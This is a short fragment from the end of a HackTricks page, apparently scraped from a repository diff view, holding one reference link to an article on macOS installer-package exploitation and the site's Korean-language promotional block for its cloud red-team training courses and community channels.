* [https://redteamrecipe.com/macos-red-teaming?utm\_source=pocket\_shared#heading-exploiting-installer-packages](https://redteamrecipe.com/macos-red-teaming?utm\_source=pocket\_shared#heading-exploiting-installer-packages)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue